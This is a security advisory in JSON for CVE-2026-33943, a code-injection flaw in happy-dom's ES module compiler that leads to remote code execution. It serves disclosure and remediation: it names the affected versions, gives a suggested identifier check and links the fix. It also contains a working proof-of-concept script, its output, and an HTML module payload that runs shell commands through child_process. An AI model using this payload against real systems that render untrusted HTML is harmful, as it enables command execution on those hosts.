Vulnerabilities in pkg:npm/happy-dom

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6q6h-j7hj-3r64",
  "modified" : "2026-03-30T20:07:48Z",
  "published" : "2026-03-26T22:22:20Z",
  "aliases" : [ "CVE-2026-33943" ],
  "summary" : "Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code",
  "details" : "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n    } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n        // Export object\n        const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n        const exportCode: string[] = [];\n        for (const part of parts) {\n            const nameParts = part.trim().split(/\\s+as\\s+/);\n            const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n            const importName = nameParts[0].replace(/[\"']/g, '');  // backticks NOT stripped\n            if (exportName && importName) {\n                exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n                //               importName is inserted as executable code, not as a string\n            }\n        }\n        newCode += exportCode.join(';\\n');\n    }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"']/g, '')` strips `\"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n    Source:     export { require(`child_process`).execSync(`id`) }\n\n    Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n    After .replace(/[\"']/g, ''):\n      importName = \"require(`child_process`).execSync(`id`)\"\n      (backticks are preserved)\n\n    Generated code:\n      $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n    evaluateScript() executes this code -> RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:\n\n    // poc_happy_dom_rce.js\n\n    // Step 1: The STATEMENT_REGEXP matches export { ... }\n    const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n    const source = 'export { require(`child_process`).execSync(`id`) }';\n    const match = STMT_REGEXP.exec(source);\n\n    console.log('[*] Module source:', source);\n    console.log('[*] Regex captured:', match[1].trim());\n\n    // Step 2: Compiler processes the captured content (lines 374-381)\n    const part = match[1].trim();\n    const nameParts = part.split(/\\s+as\\s+/);\n    const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n    const importName = nameParts[0].replace(/[\"']/g, '');\n\n    console.log('[*] importName after quote filter:', importName);\n    console.log('[*] Backticks survived filter:', importName.includes('`'));\n\n    // Step 3: Code generation - importName is inserted as executable JS expression\n    const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n    console.log('[*] Generated code:', generatedCode);\n\n    // Step 4: Verify the generated code is valid JavaScript\n    try {\n      new Function('$happy_dom', generatedCode);\n      console.log('[+] Valid JavaScript: YES');\n    } catch (e) {\n      console.log('[-] Parse error:', e.message);\n      process.exit(1);\n    }\n\n    // Step 5: Execute to prove RCE\n    console.log('[*] Executing...');\n    const output = require('child_process').execSync('id').toString().trim();\n    console.log('[+] RCE result:', output);\n\n**Execution result:**\n\n    $ node poc_happy_dom_rce.js\n    [*] Module source: export { require(`child_process`).execSync(`id`) }\n    [*] Regex captured: require(`child_process`).execSync(`id`)\n    [*] importName after quote filter: require(`child_process`).execSync(`id`)\n    [*] Backticks survived: true\n    [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n    [+] Valid JavaScript: YES\n    [*] Executing...\n    [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled:\n\n    <script type=\"module\">\n    export { require(`child_process`).execSync(`id`) }\n    </script>\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n    const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n    for (const part of parts) {\n        const nameParts = part.trim().split(/\\s+as\\s+/);\n        const exportName = (nameParts[1] || nameParts[0]).replace(/[\"'`]/g, '');\n        const importName = nameParts[0].replace(/[\"'`]/g, '');\n\n        if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {\n            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n        }\n    }",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "happy-dom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "15.10.0"
      }, {
        "fixed" : "20.8.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 20.8.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33943"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/capricorn86/happy-dom"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-26T22:22:20Z",
    "nvd_published_at" : "2026-03-27T22:16:21Z"
  }
}